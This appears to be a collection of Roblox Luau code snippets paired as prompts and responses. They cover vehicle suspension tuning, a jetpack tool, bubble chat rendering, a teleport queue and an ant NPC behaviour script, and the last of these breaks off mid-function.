	TeleportService:TeleportToPrivateServer(destinationId, token, playerList, nil, creationData)
end

function Queue.setTimeoutState(state)
	if state and not Queue._timeoutEnabled then
		Log.Debug.Queue("Re-enabled timeout.  Restarting countdown")
		_lastTeleport = tick()
	end

	Queue._timeoutEnabled = state

	Log.Debug.Queue("Timeout state: %s", tostring(state))

	Queue._sendStatus()
end

function Queue.teleportQueue()
	Log.Debug.Queue("Progressing.  Buckle up for fun.  *MAXIMUM* fun...")

	Queue._teleportQueue()
end


Prompt: ----- Locales -----

Response: local ScreenGui = script.Parent


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 400		-- Spring Dampening
	Tune.FSusStiffness	= 9700		-- Spring Force
	Tune.FAntiRoll 		= 300		-- Anti-Roll (Gyro Dampening)

	Tune.FSusLength		= 5		-- Suspension length (in studs)
	Tune.FPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.FExtensionLim	= .8		-- Max Extension Travel (in studs)
	Tune.FCompressLim	= 1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 7			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 400		-- Spring Dampening
	Tune.RSusStiffness	= 10700		-- Spring Force
	Tune.FAntiRoll 		= 300		-- Anti-Roll (Gyro Dampening)

	Tune.RSusLength		= 5			-- Suspension length (in studs)
	Tune.RPreCompress	= .3		-- Pre-compression adds resting length force
	Tune.RExtensionLim	= .8		-- Max Extension Travel (in studs)
	Tune.RCompressLim	= 1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 7		-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Bright red"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt:
--while Tool == nil do
--	Tool = script.Parent
--	wait(.5)
--end

Response:
local mass = 0
local player = nil
local equalizingForce = 236 / 1.2 -- amount of force required to levitate a mass
local gravity = .75 -- things float at > 1
local moving = false

local maxFuel = 1000

while Tool == nil do
	Tool = script.Parent
	wait(.5)
end

local currfuel = Tool:FindFirstChild("CurrFuel")
while currfuel == nil do
	Tool = script.Parent
	currfuel = Tool:FindFirstChild("CurrFuel")
	wait(.5)
end

local fuel = Tool.CurrFuel.Value

local gui = nil

local anim = nil

local jetPack = nil

local regen = false

local force = Instance.new("BodyVelocity")
force.velocity = Vector3.new(0,0,0)

local bodyGyro = Instance.new("BodyGyro")
bodyGyro.P = 20000
bodyGyro.D = 8000
bodyGyro.maxTorque = Vector3.new(bodyGyro.P,bodyGyro.P,bodyGyro.P)

local cam = nil

local Flame = nil

function onEquippedLocal(mouse)

	player = Tool.Parent
	while player.Name == "Backpack" do
		player = Tool.Parent
		wait(.5)
	end

	equipPack()
	mass = recursiveGetLift(player)
	force.P = mass * 10
	force.maxForce = Vector3.new(0,force.P,0)
	mouse.Button1Down:connect(thrust)
	mouse.Button1Up:connect(cutEngine)
	cam = game.Workspace.CurrentCamera
	anim = player.Humanoid:LoadAnimation(Tool.standstill)
	anim:Play()
	gui = Tool.FuelGui:clone()
	updateGUI()
	gui.Parent = game.Players:GetPlayerFromCharacter(player).PlayerGui

	regen = true
	regenFuel()

end

function equipPack()

	jetPack = Tool.Handle:clone()
	jetPack.CanCollide = false
	jetPack.Name = "JetPack"

	jetPack.Parent = game.Workspace

	Tool.Handle.Transparency = 1

	local welder = Instance.new("Weld")
	welder.Part0 = jetPack
	welder.Part1 = player.Torso
	welder.C0 = CFrame.new(Vector3.new(0,0,-1))
	welder.Parent = jetPack

	Flame = Instance.new("Part")
	Flame.Name = "Flame"
	Flame.Transparency  =1
	Flame.CanCollide = false
	Flame.Locked = true
	Flame.formFactor = 2
	Flame.Size = Vector3.new(1,0.4,1)
	Flame.Parent = jetPack

	local Fire = Instance.new("Fire")
	Fire.Heat = -12
	Fire.Size = 4
	Fire.Enabled = false
	Fire.Parent = Flame

	local firer = Instance.new("Weld")
	firer.Part0 = jetPack.Flame
	firer.Part1 = jetPack
	firer.C0 = CFrame.new(Vector3.new(0,2,0))
	firer.Parent = jetPack.Flame

end

function updateGUI()

	gui.Frame.Size = UDim2.new(0,40,0,300 * (Tool.CurrFuel.Value/maxFuel))
	gui.Frame.Position = UDim2.new(0.9,0,0.2 + (0.2 * ((maxFuel - Tool.CurrFuel.Value)/maxFuel)),0)

end

function onUnequippedLocal()

	regen = false
	if force ~= nil then
		force:remove()
	end
	if bodyGyro ~= nil then
		bodyGyro:remove()
	end
	if anim ~= nil then
		anim:Stop()
		anim:remove()
	end
	if gui ~= nil then
		gui:remove()
	end
	if jetPack ~= nil then
		jetPack:remove()
		jetPack = nil
	end
	Tool.Handle.Transparency = 0

end

Tool.Equipped:connect(onEquippedLocal)
Tool.Unequipped:connect(onUnequippedLocal)

function thrust()
	if fuel > 0 then
		thrusting = true
		force.Parent = player.Torso
		jetPack.Flame.Fire.Enabled = true
		Tool.Handle.InitialThrust:Play()
		bodyGyro.Parent = player.Torso
		while thrusting do
			bodyGyro.cframe = cam.CoordinateFrame
			force.velocity = Vector3.new(0,cam.CoordinateFrame.lookVector.unit.y,0) * 50

			fuel = fuel - 1
			Tool.CurrFuel.Value = fuel
			if fuel <= 0 then
				Tool.Handle.EngineFail:Play()
				cutEngine()
			end
			updateGUI()
			wait()

			Tool.Handle.Thrusting:Play()

			if fuel <= 200 then
				Tool.Handle.LowFuelWarning:Play()
			end
		end
		Tool.Handle.Thrusting:Stop()
		Tool.Handle.LowFuelWarning:Stop()
	end
end

function cutEngine()
	thrusting = false
	jetPack.Flame.Fire.Enabled = false
	force.velocity = Vector3.new(0,0,0)
	force.Parent = nil
	anim:Stop()
	bodyGyro.Parent = nil
end

local head = nil
function recursiveGetLift(node)
	local m = 0
	local c = node:GetChildren()
	if (node:FindFirstChild("Head") ~= nil) then head = node:FindFirstChild("Head") end -- nasty hack to detect when your parts get blown off

	for i=1,#c do
		if c[i].className == "Part" then
			if (head ~= nil and (c[i].Position - head.Position).magnitude < 10) then -- GROSS
				if c[i].Name == "Handle" then
					m = m + (c[i]:GetMass() * equalizingForce * 1) -- hack that makes hats weightless, so different hats don't change your jump height
				else
					m = m + (c[i]:GetMass() * equalizingForce * gravity)
				end
			end
		end
		m = m + recursiveGetLift(c[i])
	end
	return m
end

function regenFuel()

	while regen do
		if fuel < maxFuel then
			fuel = fuel + 1
			Tool.CurrFuel.Value = fuel
			updateGUI()
		end
		wait(0.2)
	end

end


Prompt: -- Dependencies

Response:
local Conf = require(ReplicatedFirst.Configurations.MainConfiguration)
local Signal = require(ReplicatedStorage.Libraries.Signal)
local Broadcast = require(ReplicatedStorage.Libraries.Broadcast)

local stageFolder = ServerScriptService.Stages


Prompt:
--[[*
 * Keeps track of the current dispatcher.
]]

Response:
local Packages = script.Parent.Parent.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
type Array<T> = LuauPolyfill.Array<T>


Prompt: -- 3.) Put 'Tachometer' and 'ShiftLight' in Body.


Prompt: -- init chat bubble tables

Response:
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)
	this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)
	this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)
	this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)
end

initChatBubbleType(BubbleColor.WHITE,	"ui/dialog_white",	"ui/chatBubble_white_notify_bkg", 	false,	Rect.new(5,5,15,15))
initChatBubbleType(BubbleColor.BLUE,	"ui/dialog_blue",	"ui/chatBubble_blue_notify_bkg",	true, 	Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.RED,		"ui/dialog_red",	"ui/chatBubble_red_notify_bkg",		true,	Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.GREEN,	"ui/dialog_green",	"ui/chatBubble_green_notify_bkg",	true,	Rect.new(7,7,33,33))

function this:SanitizeChatLine(msg)
	if string.len(msg) > MaxChatMessageLengthExclusive then
		return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES))
	else
		return msg
	end
end

local function createBillboardInstance(adornee)
	local billboardGui = Instance.new("BillboardGui")
	billboardGui.Adornee = adornee
	billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT)
	billboardGui.StudsOffset = Vector3.new(0, 1.5, 2)
	billboardGui.Parent = BubbleChatScreenGui

	local billboardFrame = Instance.new("Frame")
	billboardFrame.Name = "BillboardFrame"
	billboardFrame.Size = UDim2.new(1,0,1,0)
	billboardFrame.Position = UDim2.new(0,0,-0.5,0)
	billboardFrame.BackgroundTransparency = 1
	billboardFrame.Parent = billboardGui

	local billboardChildRemovedCon = nil
	billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()
		if #billboardFrame:GetChildren() <= 1 then
			billboardChildRemovedCon:disconnect()
			billboardGui:Destroy()
		end
	end)

	this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame

	return billboardGui
end

function this:CreateBillboardGuiHelper(instance, onlyCharacter)
	if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
		if not onlyCharacter then
			if instance:IsA("BasePart") then
				-- Create a new billboardGui object attached to this player
				local billboardGui = createBillboardInstance(instance)
				this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
				return
			end
		end

		if instance:IsA("Model") then
			local head = instance:FindFirstChild("Head")
			if head and head:IsA("BasePart") then
				-- Create a new billboardGui object attached to this player
				local billboardGui = createBillboardInstance(head)
				this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
			end
		end
	end
end

local function distanceToBubbleOrigin(origin)
	if not origin then return 100000 end

	return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
end

local function isPartOfLocalPlayer(adornee)
	if adornee and PlayersService.LocalPlayer.Character then
		return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)
	end
end

function this:SetBillboardLODNear(billboardGui)
	local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
	billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
	billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0.1)
	billboardGui.Enabled = true
	local billChildren = billboardGui.BillboardFrame:GetChildren()
	for i = 1, #billChildren do
		billChildren[i].Visible = true
	end
	billboardGui.BillboardFrame.SmallTalkBubble.Visible = false
end

function this:SetBillboardLODDistant(billboardGui)
	local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
	billboardGui.Size = UDim2.new(4,0,3,0)
	billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0.1)
	billboardGui.Enabled = true
	local billChildren = billboardGui.BillboardFrame:GetChildren()
	for i = 1, #billChildren do
		billChildren[i].Visible = false
	end
	billboardGui.BillboardFrame.SmallTalkBubble.Visible = true
end

function this:SetBillboardLODVeryFar(billboardGui)
	billboardGui.Enabled = false
end

function this:SetBillboardGuiLOD(billboardGui, origin)
	if not origin then return end

	if origin:IsA("Model") then
		local head = origin:FindFirstChild("Head")
		if not head then origin = origin.PrimaryPart
		else origin = head end
	end

	local bubbleDistance = distanceToBubbleOrigin(origin)

	if bubbleDistance < NEAR_BUBBLE_DISTANCE then
		this:SetBillboardLODNear(billboardGui)
	elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then
		this:SetBillboardLODDistant(billboardGui)
	else
		this:SetBillboardLODVeryFar(billboardGui)
	end
end

function this:CameraCFrameChanged()
	for index, value in pairs(this.CharacterSortedMsg:GetData()) do
		local playerBillboardGui = value["BillboardGui"]
		if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end
	end
end

function this:CreateBubbleText(message)
	local bubbleText = Instance.new("TextLabel")
	bubbleText.Name = "BubbleText"
	bubbleText.BackgroundTransparency = 1
	bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0)
	bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0)
	bubbleText.Font = CHAT_BUBBLE_FONT
	bubbleText.TextWrapped = true
	bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE
	bubbleText.Text = message
	bubbleText.Visible = false

	return bubbleText
end

function this:CreateSmallTalkBubble(chatBubbleType)
	local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()
	smallTalkBubble.Name = "SmallTalkBubble"
	smallTalkBubble.AnchorPoint = Vector2.new(0, 0.5)
	smallTalkBubble.Position = UDim2.new(0,0,0.5,0)
	smallTalkBubble.Visible = false
	local text = this:CreateBubbleText("...")
	text.TextScaled = true
	text.TextWrapped = false
	text.Visible = true
	text.Parent = smallTalkBubble

	return smallTalkBubble
end

function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)
	local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo
	local bubbleQueueSize = bubbleQueue:Size()
	local bubbleQueueData = bubbleQueue:GetData()
	if #bubbleQueueData <= 1 then return end

	for index = (#bubbleQueueData - 1), 1, -1 do
		local value = bubbleQueueData[index]
		local bubble = value.RenderBubble
		if not bubble then return end
		local bubblePos = bubbleQueueSize - index + 1

		if bubblePos > 1 then
			local tail = bubble:FindFirstChild("ChatBubbleTail")
			if tail then tail:Destroy() end
			local bubbleText = bubble:FindFirstChild("BubbleText")
			if bubbleText then bubbleText.TextTransparency = 0.5 end
		end

		local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,
									1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT )
		bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)
		currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT
	end
end

function this:DestroyBubble(bubbleQueue, bubbleToDestroy)
	if not bubbleQueue then return end
	if bubbleQueue:Empty() then return end

	local bubble = bubbleQueue:Front().RenderBubble
	if not bubble then
		bubbleQueue:PopFront()
	 	return
	end

	spawn(function()
		while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do
			wait()
		end

		bubble = bubbleQueue:Front().RenderBubble

		local timeBetween = 0
		local bubbleText = bubble:FindFirstChild("BubbleText")
		local bubbleTail = bubble:FindFirstChild("ChatBubbleTail")

		while bubble and bubble.ImageTransparency < 1 do
			timeBetween = wait()
			if bubble then
				local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED
				bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount
				if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end
				if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end
			end
		end

		if bubble then
			bubble:Destroy()
			bubbleQueue:PopFront()
		end
	end)
end

function this:CreateChatLineRender(instance, line, onlyCharacter, fifo)
	if not instance then return end

	if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
		this:CreateBillboardGuiHelper(instance, onlyCharacter)
	end

	local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"]
	if billboardGui then
		local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()
		chatBubbleRender.Visible = false
		local bubbleText = this:CreateBubbleText(line.Message)

		bubbleText.Parent = chatBubbleRender
		chatBubbleRender.Parent = billboardGui.BillboardFrame

		line.RenderBubble = chatBubbleRender

		local currentTextBounds = TextService:GetTextSize(
				bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,
				Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))
		local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1)
		local numOflines = (currentTextBounds.Y/CHAT_BUBBLE_FONT_SIZE_INT)

		-- prep chat bubble for tween
		chatBubbleRender.Size = UDim2.new(0,0,0,0)
		chatBubbleRender.Position = UDim2.new(0.5,0,1,0)

		local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT

		chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),
											 	UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY),
											 	Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,
											 	function() bubbleText.Visible = true end)

		-- todo: remove when over max bubbles
		this:SetBillboardGuiLOD(billboardGui, line.Origin)
		this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)

		delay(line.BubbleDieDelay, function()
			this:DestroyBubble(fifo, chatBubbleRender)
		end)
	end
end

function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)
	if not this:BubbleChatEnabled() then return end

	local localPlayer = PlayersService.LocalPlayer
	local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer

	local safeMessage = this:SanitizeChatLine(message)

	local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)

	if sourcePlayer and line.Origin then
		local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo
		fifo:PushBack(line)
		--Game chat (badges) won't show up here
		this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo)
	end
end

function this:OnGameChatMessage(origin, message, color)
	local localPlayer = PlayersService.LocalPlayer
	local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)

	local bubbleColor = BubbleColor.WHITE

	if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE
	elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN
	elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end

	local safeMessage = this:SanitizeChatLine(message)
	local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)

	this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)
	this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo)
end

function this:BubbleChatEnabled()
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
		if chatSettings then
			local chatSettings = require(chatSettings)
			if chatSettings.BubbleChatEnabled ~= nil then
				return chatSettings.BubbleChatEnabled
			end
		end
	end
	return PlayersService.BubbleChat
end

function this:ShowOwnFilteredMessage()
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
		if chatSettings then
			chatSettings = require(chatSettings)
			return chatSettings.ShowUserOwnFilteredMessage
		end
	end
	return false
end

function findPlayer(playerName)
	for i,v in pairs(PlayersService:GetPlayers()) do
		if v.Name == playerName then
			return v
		end
	end
end

ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)

local cameraChangedCon = nil
if game.Workspace.CurrentCamera then
	cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end

game.Workspace.Changed:connect(function(prop)
	if prop == "CurrentCamera" then
		if cameraChangedCon then cameraChangedCon:disconnect() end
		if game.Workspace.CurrentCamera then
			cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
		end
	end
end)

local AllowedMessageTypes = nil

function getAllowedMessageTypes()
	if AllowedMessageTypes then
		return AllowedMessageTypes
	end
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
		if chatSettings then
			chatSettings = require(chatSettings)
			if chatSettings.BubbleChatMessageTypes then
				AllowedMessageTypes = chatSettings.BubbleChatMessageTypes
				return AllowedMessageTypes
			end
		end
		local chatConstants = clientChatModules:FindFirstChild("ChatConstants")
		if chatConstants then
			chatConstants = require(chatConstants)
			AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}
		end
		return AllowedMessageTypes
	end
	return {"Message", "Whisper"}
end

function checkAllowedMessageType(messageData)
	local allowedMessageTypes = getAllowedMessageTypes()
	for i = 1, #allowedMessageTypes do
		if allowedMessageTypes[i] == messageData.MessageType then
			return true
		end
	end
	return false
end

local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering")
local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage")

OnNewMessage.OnClientEvent:connect(function(messageData, channelName)
	if not checkAllowedMessageType(messageData) then
		return
	end

	local sender = findPlayer(messageData.FromSpeaker)
	if not sender then
		return
	end

	if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then
		if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then
			return
		end
	end

	this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)

OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)
	if not checkAllowedMessageType(messageData) then
		return
	end

	local sender = findPlayer(messageData.FromSpeaker)
	if not sender then
		return
	end

	if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then
		return
	end

	this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)


Prompt: --[[Initialize]]

Response:
	script.Parent:WaitForChild("A-Chassis Interface")
	script.Parent:WaitForChild("Plugins")
	script.Parent:WaitForChild("README")

	local car=script.Parent.Parent
	local _Tune=require(script.Parent)

	wait(_Tune.LoadDelay)

	local Drive=car.Wheels:GetChildren()

	--Remove Existing Mass
	function DReduce(p)
		for i,v in pairs(p:GetChildren())do
			if v:IsA("BasePart") then
				if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end
				v.CustomPhysicalProperties = PhysicalProperties.new(
					0,
					v.CustomPhysicalProperties.Friction,
					v.CustomPhysicalProperties.Elasticity,
					v.CustomPhysicalProperties.FrictionWeight,
					v.CustomPhysicalProperties.ElasticityWeight
				)
				v.Massless = true --(LuaInt) but it's just this line
			end
			DReduce(v)
		end
	end
	DReduce(car)


Prompt: --[[Status Vars]]

Response:
	local _IsOn = _Tune.AutoStart
	if _Tune.AutoStart then car.DriveSeat.IsOn.Value=true end

	local _GSteerT=0
	local _GSteerC=0
	local _GThrot=0
	local _GThrotShift=1
	local _GBrake=0

	local _CBrake=0
	local _CThrot=0

	local _ClutchOn = true
	local _ClPressing = false
	local _RPM = 0
	local _HP = 0
	local _OutTorque = 0
	local _CGear = script.Parent.Values.Gear
	local _PGear = _CGear.Value
	local _spLimit = 0

	local _Boost = 0
	local _TCount = 0
	local _TPsi = 0
	local _BH = 0
	local _BT = 0
	local _NH = 0
	local _NT = 0

	local _TMode = script.Parent.Values.TransmissionMode

	local _MSteer = false
	local _SteerL = false
	local _SteerR = false
	local _PBrake = script.Parent.Values.PBrake
	local _TCS = _Tune.TCSEnabled
	local _TCSActive = false
	local _TCSAmt = 0
	local _ABS = _Tune.ABSEnabled
	local _ABSActive = false

	local FlipWait=tick()
	local FlipDB=false

	local _InControls = false


Prompt:
--[[

yea i script howd u know

]]

Response:
	repeat wait() until script.Parent.Parent == game:GetService("Players").LocalPlayer.Character
	local remote = script.Parent:FindFirstChild("getMouse")
	game:GetService("Players").LocalPlayer:GetMouse().Button1Down:Connect(function()
		if game.Players.LocalPlayer.Character:FindFirstChild("Mori") then
			remote:InvokeServer({Hit=game.Players.LocalPlayer:GetMouse().Hit}, nil)
		end
	end)


Prompt:
--[[
	Package link auto-generated by Rotriever
]]

Response:
local PackageIndex = script.Parent._Index

local Package = require(PackageIndex["roblox_rodux"]["rodux"])

return Package


Prompt: --Data

Response:
export type SoundData = {
    MaxConcurrentTracks: {[string]: number}?,
    Sounds: {[string]: SoundDataEntry},
}

export type SoundDataEntryEvent = {
    Time: number,
    Name: string,
    [string]: any,
}

export type SoundDataEntry = {
    Id: number,
    Length: number,
    Properties: {[string]: any}?,
    Effects: {[string]: {[string]: any}}?,
    Eventts: {SoundDataEntryEvent}?,
    [string]: SoundDataEntry,
}


Prompt: --Fixed some stuff and made ants go after diffrent targets.

Response:
local hill = script.Parent
local EntityData = require(game.ReplicatedStorage.Modules.EntityData)
local activeAnts = {}

function GetTableLength(tab)
	local total = 0
	for _,v in next, tab do
		total = total + 1
	end
	return total
end

addAnt = coroutine.wrap(function()
	while wait(5) do
		if GetTableLength(activeAnts) < 3 then
			local newAnt = game.ServerStorage.Creatures['Scavenger Ant']:Clone()
			newAnt:SetPrimaryPartCFrame(hill.PrimaryPart.CFrame*CFrame.new(0,5,0))
			newAnt.Parent = hill

			activeAnts[newAnt] = {
				["carrying"] = nil,
				["target"] = nil,
				["destination"] = newAnt.PrimaryPart.Position,
				["lastOrder"] = tick(),
				["lastScan"] = tick(),
				["anims"] = {},
			}

			for _,anim in next,game.ReplicatedStorage.NPCAnimations.Ant:GetChildren() do
				activeAnts[newAnt].anims[anim.Name] = newAnt:WaitForChild("Hum"):LoadAnimation(anim)
			end

			newAnt:WaitForChild'Health'.Changed:connect(function()
				newAnt.PrimaryPart.Hurt.Pitch = newAnt.PrimaryPart.Hurt.OriginalPitch.Value+(math.random(-100,100)/100)
				newAnt.PrimaryPart.Hurt:Play()
			end)

			newAnt.AncestryChanged:connect(function()
			activeAnts[newAnt] = nil
			end)
		end
		wait(55)
	end
end)

addAnt()

function Seeking(array, target)--Queen ant keeps track of her workers. ;)
	for i,v in pairs(array) do
		if v == target then
			return true
		end
	end
	return false
end

manageAnts = coroutine.wrap(function()
	while wait(1) do
		local seeking = {}
		for ant, antData in next,activeAnts do
			spawn(function()
				if ant and ant.PrimaryPart and ant:FindFirstChild'Hum' and ant.Hum.Health > 0 and ant:IsDescendantOf(workspace) then
					activeAnts[ant].lastScan = tick()
					-- scan for nearest Shelly
					if not activeAnts[ant].carrying then
						local nearestShelly,closestDist = nil,math.huge

						for _,creature in next, workspace.Critters:GetChildren() do
							if not Seeking(seeking, creature) and creature:FindFirstChild'HitShell' and EntityData.All[creature.Name].abductable then

								local a, c = ant.PrimaryPart, creature.PrimaryPart

								if not c then
									c = creature:FindFirstChildOfClass'BasePart'
								end

								local dist = (c.Position-a.Position).magnitude

								if dist < closestDist then
									nearestShelly = creature
									closestDist = dist
								end
							end
						end

						if ant and nearestShelly then
							activeAnts[ant].destination = nearestShelly.PrimaryPart.Position
							activeAnts[ant].target = nearestShelly
							table.insert(seeking, nearestShelly)

							activeAnts[ant].target.AncestryChanged:connect(function()
								activeAnts[ant].target = nil
							end)
						end

					else
						activeAnts[ant].destination  = hill.PrimaryPart.Position+Vector3.new(0,3,0)
					end

					if activeAnts[ant].destination then
						ant.Hum:MoveTo(activeAnts[ant].destination)
						if not activeAnts[ant].anims.AntWalk.IsPlaying then
							activeAnts[ant].anims.AntWalk:Play()
						end

						if antData.target and not antData.carrying then
							local dist = (ant.PrimaryPart.Position-activeAnts[ant].target.PrimaryPart.Position).magnitude
							if dist < 5 then
								-- let's get a new shelly
								local abductedShelly = game.ServerStorage.Misc["Abducted Shelly"]:Clone()
								antData.carrying = abductedShelly
								abductedShelly.Shell.Material = antData.target.Shell.Material
								abductedShelly.Shell.Color = antData.target.Shell.Color
								abductedShelly.ActualName.Value = antData.target.Name
								--game.ReplicatedStorage.Relay.NPCAttack:Fire(antData.target,math.huge)
								antData.target:Destroy()
								abductedShelly.Parent = ant
								activeAnts[ant].anims.AntWalk:Stop()
								activeAnts[ant].anims.AntHold:Play()
								ant.PrimaryPart.Chatter:Play()
								ant.PrimaryPart.ShellyAbduct:Play()
								-- weld the shelly to the torso
								local weld = Instance.new("ManualWeld")
								weld.Parent = ant.PrimaryPart
								weld.Part0 = ant.PrimaryPart
								weld.Part1 = abductedShelly.PrimaryPart
								weld.C0 = CFrame.new(-.4,.4,-1.6)*CFrame.Angles(0,math.rad(90),0)
							end

						elseif antData.carrying then
							local dist = (ant.PrimaryPart.Position-activeAnts[ant].destination).magnitude
							if dist < 7 then
